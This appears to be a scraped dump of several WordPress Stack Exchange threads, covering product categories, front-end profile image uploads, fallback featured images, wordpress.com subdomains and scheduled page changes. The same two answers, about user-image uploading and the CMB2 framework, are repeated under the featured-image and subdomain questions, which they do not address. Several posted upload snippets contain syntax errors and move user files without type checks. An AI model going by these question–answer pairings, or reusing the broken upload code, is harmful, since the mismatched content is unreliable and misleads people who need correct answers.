<p>I wish someone can give me a clue.</p> <p>I am actually displaying all product category (product_cat taxonomy) on single page products, displaying also childs regarding the product itself. </p> <p>For instance: Product-A has Cat1-parent > Cat1-child1, Cat1-child2 => The code display them properly but also will display any other Parent Category that belongs to an another existing product.... result I get an extra parent category displaying with no childs. </p> <p>So Id like to display only parent categories that belongs to the product itself.</p> <p>I think I am missing some knowledge in the beginning of the code with the get_terms function</p> <pre><code>$parents = get_terms( 'product_cat' , array( 'parent' =&gt; 0 ) ); foreach( $parents as $parent ): echo '&lt;div class="parent '.$parent-&gt;slug.'"&gt;' . $parent-&gt;name . '&lt;/div&gt;'; </code></pre>
[ { "answer_id": 282025, "author": "socki03", "author_id": 43511, "author_profile": "https://wordpress.stackexchange.com/users/43511", "pm_score": 3, "selected": true, "text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=\"nofollow noreferrer\"><code>get_terms</code></a> relates to getting all the terms of a taxonomy. <a href=\"https://developer.wordpress.org/reference/functions/get_the_terms/\" rel=\"nofollow noreferrer\"><code>get_the_terms</code></a> grabs all the terms related to the post.</p>\n\n<p>The problem is that it sounds like you only want to return those terms which are parent categories, not the children, and <code>get_the_terms</code> does not pass an arguments array.</p>\n\n<pre><code>$terms = get_the_terms( get_the_ID(), 'product_cat' );\n\nforeach ( $terms as $term ){\n if ( $term-&gt;parent == 0 ) {\n echo '&lt;div class=\"parent '.$term-&gt;slug.'\"&gt;' . $term-&gt;name . '&lt;/div&gt;';\n }\n}\n</code></pre>\n" }, { "answer_id": 282061, "author": "jŪlIΞή Webotop", "author_id": 129102, "author_profile": "https://wordpress.stackexchange.com/users/129102", "pm_score": 0, "selected": false, "text": "<p>Thank you for the lesson. I understand better now. I just changed to my term name and inserted in my full function: \n<code>$parents = get_the_terms( get_the_ID(), 'product_cat' );</code></p>\n\n<p><code>foreach ( $parents as $parent ):</code>\n <code>if ( $parent-&gt;parent == 0 ) {</code>\n <code>echo '&lt;div class=\"parent '.$parent-&gt;slug.'\"&gt;' . $parent-&gt;name . '&lt;/div&gt;';</code>\n <code>}</code></p>\n\n<p>You helped me a lot. Thank you!</p>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/282022", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129102/" ]
I wish someone can give me a clue. I am actually displaying all product category (product\_cat taxonomy) on single page products, displaying also childs regarding the product itself. For instance: Product-A has Cat1-parent > Cat1-child1, Cat1-child2 => The code display them properly but also will display any other Parent Category that belongs to an another existing product.... result I get an extra parent category displaying with no childs. So Id like to display only parent categories that belongs to the product itself. I think I am missing some knowledge in the beginning of the code with the get\_terms function ``` $parents = get_terms( 'product_cat' , array( 'parent' => 0 ) ); foreach( $parents as $parent ): echo '<div class="parent '.$parent->slug.'">' . $parent->name . '</div>'; ```
[`get_terms`](https://developer.wordpress.org/reference/functions/get_terms/) relates to getting all the terms of a taxonomy. [`get_the_terms`](https://developer.wordpress.org/reference/functions/get_the_terms/) grabs all the terms related to the post. The problem is that it sounds like you only want to return those terms which are parent categories, not the children, and `get_the_terms` does not pass an arguments array. ``` $terms = get_the_terms( get_the_ID(), 'product_cat' ); foreach ( $terms as $term ){ if ( $term->parent == 0 ) { echo '<div class="parent '.$term->slug.'">' . $term->name . '</div>'; } } ```
282,026
<p>I have a front end user profile template I am working on, and everything is working fine except for upload a profile picture. I have a custom user field created and I am trying to use the button file type to upload the picture and store the URL in my custom field. </p> <p>Take a look - <a href="https://pastebin.com/rPErwCgU" rel="nofollow noreferrer">https://pastebin.com/rPErwCgU</a></p> <p>I'm currently already using this code for my front end post upload, it allows multiple pictures. I need to figure out how to do this for a user with only 1 photo and storing it in a custom field attached to the current user --</p> <pre><code>if (!empty($_FILES['sightMulti']['tmp_name'][0])) { $i = 1; $files = $_FILES['sightMulti']; foreach ($files['name'] as $key =&gt; $value) { if ($files['name'][$key]) { $file = array( 'name' =&gt; $files['name'][$key], 'type' =&gt; $files['type'][$key], 'tmp_name' =&gt; $files['tmp_name'][$key], 'error' =&gt; $files['error'][$key], 'size' =&gt; $files['size'][$key] ); $_FILES = array("sight" . $i =&gt; $file); $newuploadMulti = sight("sight" . $i, $pid); if ($i == 1) { update_post_meta($pid, '_thumbnail_id', $newuploadMulti); } add_post_meta($pid, 'imic_property_sights', $newuploadMulti, false); } $i++; } } </code></pre> <p>The field in the form --</p> <pre><code>&lt;div class="col-md-12 col-sm-12"&gt; &lt;label&gt;&lt;?php _e('Upload Images', 'framework'); ?&gt;&lt;/label&gt; &lt;p&gt;&lt;?php _e('Upload images that are best clicked for better appearance of your property', 'framework'); ?&gt;&lt;/p&gt; &lt;/div&gt; &lt;div class="row" id="multiplePhotos" style="margin-top:15px;"&gt; &lt;div class="col-md-12 col-sm-12"&gt; &lt;?php echo'&lt;div class="image-placeholder" id="photoList"&gt;'; if (!empty($property_sights_value)) { foreach ($property_sights_value as $property_sights) { $default_featured_image = get_post_meta($Property_Id, '_thumbnail_id', true); if ($default_featured_image == $property_sights) { $def_class = 'default-feat-image'; } else { $def_class = ''; } echo '&lt;div class="col-md-2 col-sm-2"&gt;'; echo '&lt;div id="property-img"&gt;&lt;div id="property-thumb" class="' . $def_class . '"&gt;&lt;a id="feat-image" class="accent-color default-image" data-original-title="Set as default image" data-toggle="tooltip" style="text-decoration:none;" href="#"&gt;&lt;div class="property-details" style="display:none;"&gt;&lt;span class="property-id"&gt;' . $Property_Id . '&lt;/span&gt;&lt;span class="thumb-id"&gt;' . $property_sights . '&lt;/span&gt;&lt;/div&gt;&lt;img src="' . wp_get_attachment_thumb_url($property_sights) . '" class="image-placeholder" id="filePhoto2" alt=""/&gt;&lt;/a&gt;'; if (get_query_var('site')) { echo '&lt;input rel="' . $Property_Id . '" type="button" id="' . $property_sights . '" value="Remove" class="btn btn-sm btn-default remove-image"&gt;'; } echo '&lt;/div&gt;&lt;/div&gt;'; echo '&lt;/div&gt;'; } } echo '&lt;/div&gt;'; ?&gt; &lt;input id="filePhotoMulti" type="file" name="sightMulti[]" multiple onChange="previewMultiPhotos();"&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>UPDATE</strong></p> <p>This is what I have right up top with the rest of my fields that save fine -</p> <pre><code>if ( !empty( $_POST['agent-image'] ) ) update_user_meta( $current_user-&gt;ID, 'agent_image', esc_attr( $_POST['agent-image'] ) ); if(!empty($_FILES)) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_title' =&gt; preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); } </code></pre> <p>My input field --</p> <pre><code>&lt;input type="file" name="agent-image"&gt; </code></pre> <p>How I'm using it on the author.php template -- </p> <pre><code>&lt;?php $author_pic = get_the_author_meta('agent-image', $user-&gt;ID); echo '&lt;div&gt;&lt;img src="'. $author_pic .'" alt="'. $userName .'" class="img-thumbnail authppic"&gt;&lt;/div&gt;'; ?&gt; </code></pre> <p><strong>UPDATE 2</strong></p> <p>Code is now causing that page to give me a HTTP 500 error -- </p> <pre><code>if ( !empty( $_FILES[agent-image][name] )) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_title' =&gt; preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); update_user_meta( $current_user-&gt;ID, 'agent_image', $attach_id )); } </code></pre>
[ { "answer_id": 282392, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code>if ( !empty( $_FILES[agent-image][name] ) ) {\n\n $file = $_FILES[agent-image];\n\n $file_return = wp_handle_upload( $file, array('action' =&gt; 'tm_about_you' ) );\n\n if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) {\n\n return false;\n\n } else {\n\n $filename = $file_return['file'];\n\n $attachment = array(\n 'post_mime_type' =&gt; $file_return['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $filename ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit',\n 'guid' =&gt; $file_return['url']\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] );\n\n // Generate the metadata for the attachment, and update the database record.\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n\n update_user_meta( $current_user-&gt;ID, 'agent_image', $attachment_id ));\n\n }\n\n }\n</code></pre>\n" }, { "answer_id": 282437, "author": "Andrew Welch", "author_id": 17862, "author_profile": "https://wordpress.stackexchange.com/users/17862", "pm_score": 1, "selected": false, "text": "<p>UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. </p>\n\n<p>I highly recommend using <a href=\"https://github.com/CMB2/CMB2\" rel=\"nofollow noreferrer\">CMB2</a> to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links:</p>\n\n<ul>\n<li><a href=\"https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" rel=\"nofollow noreferrer\">https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end</a></li>\n<li><a href=\"https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/\" rel=\"nofollow noreferrer\">https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/</a></li>\n</ul>\n\n<p>You have 3 functions (function names are from the second linked article above):\nOne registers the cmb2 fields</p>\n\n<pre><code>function wds_frontend_form_register() {\n//code..\n}\n</code></pre>\n\n<p>One create a shortcode for displaying the form:</p>\n\n<pre><code>function wds_do_frontend_form_submission_shortcode( $atts = array() ) {\n//code..\n}\n</code></pre>\n\n<p>and the third handles the submission of the form:</p>\n\n<pre><code>function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) {\n//code..\n}\n</code></pre>\n\n<p>You can easily update your user instead of inserting a post here with <a href=\"https://codex.wordpress.org/Function_Reference/wp_update_user\" rel=\"nofollow noreferrer\">wp_update_user()</a> and <a href=\"https://codex.wordpress.org/Function_Reference/update_user_meta\" rel=\"nofollow noreferrer\">update_user_meta().</a></p>\n\n<p>Full code examples are available through the links. <a href=\"https://github.com/CMB2/CMB2/wiki/Field-Types\" rel=\"nofollow noreferrer\">CMB2 field types reference docs here</a>. <a href=\"https://github.com/CMB2/CMB2/wiki/Field-Types#file\" rel=\"nofollow noreferrer\">Link to file field type (allowing image upload)</a>.</p>\n\n<p>This linked <a href=\"https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530\" rel=\"nofollow noreferrer\">example-functions.php</a> also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there.</p>\n\n<p>Good luck. I really recommend <a href=\"https://github.com/CMB2/CMB2\" rel=\"nofollow noreferrer\">CMB2</a> it is brilliant.</p>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/282026", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24067/" ]
I have a front end user profile template I am working on, and everything is working fine except for upload a profile picture. I have a custom user field created and I am trying to use the button file type to upload the picture and store the URL in my custom field. Take a look - <https://pastebin.com/rPErwCgU> I'm currently already using this code for my front end post upload, it allows multiple pictures. I need to figure out how to do this for a user with only 1 photo and storing it in a custom field attached to the current user -- ``` if (!empty($_FILES['sightMulti']['tmp_name'][0])) { $i = 1; $files = $_FILES['sightMulti']; foreach ($files['name'] as $key => $value) { if ($files['name'][$key]) { $file = array( 'name' => $files['name'][$key], 'type' => $files['type'][$key], 'tmp_name' => $files['tmp_name'][$key], 'error' => $files['error'][$key], 'size' => $files['size'][$key] ); $_FILES = array("sight" . $i => $file); $newuploadMulti = sight("sight" . $i, $pid); if ($i == 1) { update_post_meta($pid, '_thumbnail_id', $newuploadMulti); } add_post_meta($pid, 'imic_property_sights', $newuploadMulti, false); } $i++; } } ``` The field in the form -- ``` <div class="col-md-12 col-sm-12"> <label><?php _e('Upload Images', 'framework'); ?></label> <p><?php _e('Upload images that are best clicked for better appearance of your property', 'framework'); ?></p> </div> <div class="row" id="multiplePhotos" style="margin-top:15px;"> <div class="col-md-12 col-sm-12"> <?php echo'<div class="image-placeholder" id="photoList">'; if (!empty($property_sights_value)) { foreach ($property_sights_value as $property_sights) { $default_featured_image = get_post_meta($Property_Id, '_thumbnail_id', true); if ($default_featured_image == $property_sights) { $def_class = 'default-feat-image'; } else { $def_class = ''; } echo '<div class="col-md-2 col-sm-2">'; echo '<div id="property-img"><div id="property-thumb" class="' . $def_class . '"><a id="feat-image" class="accent-color default-image" data-original-title="Set as default image" data-toggle="tooltip" style="text-decoration:none;" href="#"><div class="property-details" style="display:none;"><span class="property-id">' . $Property_Id . '</span><span class="thumb-id">' . $property_sights . '</span></div><img src="' . wp_get_attachment_thumb_url($property_sights) . '" class="image-placeholder" id="filePhoto2" alt=""/></a>'; if (get_query_var('site')) { echo '<input rel="' . $Property_Id . '" type="button" id="' . $property_sights . '" value="Remove" class="btn btn-sm btn-default remove-image">'; } echo '</div></div>'; echo '</div>'; } } echo '</div>'; ?> <input id="filePhotoMulti" type="file" name="sightMulti[]" multiple onChange="previewMultiPhotos();"> </div> </div> ``` **UPDATE** This is what I have right up top with the rest of my fields that save fine - ``` if ( !empty( $_POST['agent-image'] ) ) update_user_meta( $current_user->ID, 'agent_image', esc_attr( $_POST['agent-image'] ) ); if(!empty($_FILES)) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); } ``` My input field -- ``` <input type="file" name="agent-image"> ``` How I'm using it on the author.php template -- ``` <?php $author_pic = get_the_author_meta('agent-image', $user->ID); echo '<div><img src="'. $author_pic .'" alt="'. $userName .'" class="img-thumbnail authppic"></div>'; ?> ``` **UPDATE 2** Code is now causing that page to give me a HTTP 500 error -- ``` if ( !empty( $_FILES[agent-image][name] )) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); update_user_meta( $current_user->ID, 'agent_image', $attach_id )); } ```
UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. I highly recommend using [CMB2](https://github.com/CMB2/CMB2) to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links: * <https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end> * <https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/> You have 3 functions (function names are from the second linked article above): One registers the cmb2 fields ``` function wds_frontend_form_register() { //code.. } ``` One create a shortcode for displaying the form: ``` function wds_do_frontend_form_submission_shortcode( $atts = array() ) { //code.. } ``` and the third handles the submission of the form: ``` function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) { //code.. } ``` You can easily update your user instead of inserting a post here with [wp\_update\_user()](https://codex.wordpress.org/Function_Reference/wp_update_user) and [update\_user\_meta().](https://codex.wordpress.org/Function_Reference/update_user_meta) Full code examples are available through the links. [CMB2 field types reference docs here](https://github.com/CMB2/CMB2/wiki/Field-Types). [Link to file field type (allowing image upload)](https://github.com/CMB2/CMB2/wiki/Field-Types#file). This linked [example-functions.php](https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530) also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there. Good luck. I really recommend [CMB2](https://github.com/CMB2/CMB2) it is brilliant.
282,036
<p>I'm trying to setup a fallback image for featured image.<br><br> The main problem I have is miss of filter for <code>get_the_post_thumbnail_url()</code>. I'm using this function to echo thumb url in many-many templates, because it is easy customizable. So, this is not a solution to make an if-condition for each usage. And even to set default image for blank featured image, because it may be changed.<br><br> I see that I might apply filter to <code>get_post_thumbnail_id()</code>, but most likely I need an external URL to this fallback image, hardcoded in this theme. But, even if I can't apply external image, how can I make default image for <code>get_the_post_thumbnail_url()</code> function?</p>
[ { "answer_id": 282392, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code>if ( !empty( $_FILES[agent-image][name] ) ) {\n\n $file = $_FILES[agent-image];\n\n $file_return = wp_handle_upload( $file, array('action' =&gt; 'tm_about_you' ) );\n\n if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) {\n\n return false;\n\n } else {\n\n $filename = $file_return['file'];\n\n $attachment = array(\n 'post_mime_type' =&gt; $file_return['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $filename ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit',\n 'guid' =&gt; $file_return['url']\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] );\n\n // Generate the metadata for the attachment, and update the database record.\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n\n update_user_meta( $current_user-&gt;ID, 'agent_image', $attachment_id ));\n\n }\n\n }\n</code></pre>\n" }, { "answer_id": 282437, "author": "Andrew Welch", "author_id": 17862, "author_profile": "https://wordpress.stackexchange.com/users/17862", "pm_score": 1, "selected": false, "text": "<p>UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. </p>\n\n<p>I highly recommend using <a href=\"https://github.com/CMB2/CMB2\" rel=\"nofollow noreferrer\">CMB2</a> to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links:</p>\n\n<ul>\n<li><a href=\"https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" rel=\"nofollow noreferrer\">https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end</a></li>\n<li><a href=\"https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/\" rel=\"nofollow noreferrer\">https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/</a></li>\n</ul>\n\n<p>You have 3 functions (function names are from the second linked article above):\nOne registers the cmb2 fields</p>\n\n<pre><code>function wds_frontend_form_register() {\n//code..\n}\n</code></pre>\n\n<p>One create a shortcode for displaying the form:</p>\n\n<pre><code>function wds_do_frontend_form_submission_shortcode( $atts = array() ) {\n//code..\n}\n</code></pre>\n\n<p>and the third handles the submission of the form:</p>\n\n<pre><code>function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) {\n//code..\n}\n</code></pre>\n\n<p>You can easily update your user instead of inserting a post here with <a href=\"https://codex.wordpress.org/Function_Reference/wp_update_user\" rel=\"nofollow noreferrer\">wp_update_user()</a> and <a href=\"https://codex.wordpress.org/Function_Reference/update_user_meta\" rel=\"nofollow noreferrer\">update_user_meta().</a></p>\n\n<p>Full code examples are available through the links. <a href=\"https://github.com/CMB2/CMB2/wiki/Field-Types\" rel=\"nofollow noreferrer\">CMB2 field types reference docs here</a>. <a href=\"https://github.com/CMB2/CMB2/wiki/Field-Types#file\" rel=\"nofollow noreferrer\">Link to file field type (allowing image upload)</a>.</p>\n\n<p>This linked <a href=\"https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530\" rel=\"nofollow noreferrer\">example-functions.php</a> also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there.</p>\n\n<p>Good luck. I really recommend <a href=\"https://github.com/CMB2/CMB2\" rel=\"nofollow noreferrer\">CMB2</a> it is brilliant.</p>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/282036", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/28575/" ]
I'm trying to setup a fallback image for featured image. The main problem I have is miss of filter for `get_the_post_thumbnail_url()`. I'm using this function to echo thumb url in many-many templates, because it is easy customizable. So, this is not a solution to make an if-condition for each usage. And even to set default image for blank featured image, because it may be changed. I see that I might apply filter to `get_post_thumbnail_id()`, but most likely I need an external URL to this fallback image, hardcoded in this theme. But, even if I can't apply external image, how can I make default image for `get_the_post_thumbnail_url()` function?
UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. I highly recommend using [CMB2](https://github.com/CMB2/CMB2) to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links: * <https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end> * <https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/> You have 3 functions (function names are from the second linked article above): One registers the cmb2 fields ``` function wds_frontend_form_register() { //code.. } ``` One create a shortcode for displaying the form: ``` function wds_do_frontend_form_submission_shortcode( $atts = array() ) { //code.. } ``` and the third handles the submission of the form: ``` function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) { //code.. } ``` You can easily update your user instead of inserting a post here with [wp\_update\_user()](https://codex.wordpress.org/Function_Reference/wp_update_user) and [update\_user\_meta().](https://codex.wordpress.org/Function_Reference/update_user_meta) Full code examples are available through the links. [CMB2 field types reference docs here](https://github.com/CMB2/CMB2/wiki/Field-Types). [Link to file field type (allowing image upload)](https://github.com/CMB2/CMB2/wiki/Field-Types#file). This linked [example-functions.php](https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530) also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there. Good luck. I really recommend [CMB2](https://github.com/CMB2/CMB2) it is brilliant.
282,065
<p>Our small company is making a website using Wordpress free version. We had used wordpress in the past and would like to continue using it but our subdomain reads www.(ourname)blog.wordpress.com. Our website is not a blog and it would look bit more professional if the blog part is removed. Is there a way to get rid of it?</p> <p>Thank You!</p>
[ { "answer_id": 282392, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code>if ( !empty( $_FILES[agent-image][name] ) ) {\n\n $file = $_FILES[agent-image];\n\n $file_return = wp_handle_upload( $file, array('action' =&gt; 'tm_about_you' ) );\n\n if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) {\n\n return false;\n\n } else {\n\n $filename = $file_return['file'];\n\n $attachment = array(\n 'post_mime_type' =&gt; $file_return['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $filename ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit',\n 'guid' =&gt; $file_return['url']\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] );\n\n // Generate the metadata for the attachment, and update the database record.\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n\n update_user_meta( $current_user-&gt;ID, 'agent_image', $attachment_id ));\n\n }\n\n }\n</code></pre>\n" }, { "answer_id": 282437, "author": "Andrew Welch", "author_id": 17862, "author_profile": "https://wordpress.stackexchange.com/users/17862", "pm_score": 1, "selected": false, "text": "<p>UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. </p>\n\n<p>I highly recommend using <a href=\"https://github.com/CMB2/CMB2\" rel=\"nofollow noreferrer\">CMB2</a> to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links:</p>\n\n<ul>\n<li><a href=\"https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" rel=\"nofollow noreferrer\">https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end</a></li>\n<li><a href=\"https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/\" rel=\"nofollow noreferrer\">https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/</a></li>\n</ul>\n\n<p>You have 3 functions (function names are from the second linked article above):\nOne registers the cmb2 fields</p>\n\n<pre><code>function wds_frontend_form_register() {\n//code..\n}\n</code></pre>\n\n<p>One create a shortcode for displaying the form:</p>\n\n<pre><code>function wds_do_frontend_form_submission_shortcode( $atts = array() ) {\n//code..\n}\n</code></pre>\n\n<p>and the third handles the submission of the form:</p>\n\n<pre><code>function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) {\n//code..\n}\n</code></pre>\n\n<p>You can easily update your user instead of inserting a post here with <a href=\"https://codex.wordpress.org/Function_Reference/wp_update_user\" rel=\"nofollow noreferrer\">wp_update_user()</a> and <a href=\"https://codex.wordpress.org/Function_Reference/update_user_meta\" rel=\"nofollow noreferrer\">update_user_meta().</a></p>\n\n<p>Full code examples are available through the links. <a href=\"https://github.com/CMB2/CMB2/wiki/Field-Types\" rel=\"nofollow noreferrer\">CMB2 field types reference docs here</a>. <a href=\"https://github.com/CMB2/CMB2/wiki/Field-Types#file\" rel=\"nofollow noreferrer\">Link to file field type (allowing image upload)</a>.</p>\n\n<p>This linked <a href=\"https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530\" rel=\"nofollow noreferrer\">example-functions.php</a> also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there.</p>\n\n<p>Good luck. I really recommend <a href=\"https://github.com/CMB2/CMB2\" rel=\"nofollow noreferrer\">CMB2</a> it is brilliant.</p>\n" } ]
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282065", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129141/" ]
Our small company is making a website using Wordpress free version. We had used wordpress in the past and would like to continue using it but our subdomain reads www.(ourname)blog.wordpress.com. Our website is not a blog and it would look bit more professional if the blog part is removed. Is there a way to get rid of it? Thank You!
UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. I highly recommend using [CMB2](https://github.com/CMB2/CMB2) to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links: * <https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end> * <https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/> You have 3 functions (function names are from the second linked article above): One registers the cmb2 fields ``` function wds_frontend_form_register() { //code.. } ``` One create a shortcode for displaying the form: ``` function wds_do_frontend_form_submission_shortcode( $atts = array() ) { //code.. } ``` and the third handles the submission of the form: ``` function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) { //code.. } ``` You can easily update your user instead of inserting a post here with [wp\_update\_user()](https://codex.wordpress.org/Function_Reference/wp_update_user) and [update\_user\_meta().](https://codex.wordpress.org/Function_Reference/update_user_meta) Full code examples are available through the links. [CMB2 field types reference docs here](https://github.com/CMB2/CMB2/wiki/Field-Types). [Link to file field type (allowing image upload)](https://github.com/CMB2/CMB2/wiki/Field-Types#file). This linked [example-functions.php](https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530) also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there. Good luck. I really recommend [CMB2](https://github.com/CMB2/CMB2) it is brilliant.
282,078
<p>Our clients would like to schedule changes made to a given <strong>page</strong> (for instance by displaying the link to register to an event).</p> <p>Typically, the same page (/registration) should display (before the registration opening): "The registrations will be open by ..."</p> <p>Once the time comes, the same page should display: "Registrer by clicking on this link..."</p> <p>I tried to follow the below procedure, but it doesn't help: <a href="https://en.support.wordpress.com/schedule-a-page/" rel="nofollow noreferrer">https://en.support.wordpress.com/schedule-a-page/</a></p> <p>Is there a way to have 2 versions (or revision - one published and one as draft) where the draft version would become published automatically?</p> <p>Or a way to have two different pages sharing the same url (one being published until a given date and the other one getting published right after the first gets unpublished)?</p> <p>Preferably, this procedure should not involve a developer every time a bit of text is changed on a page.</p> <p>Thanks in advance</p>
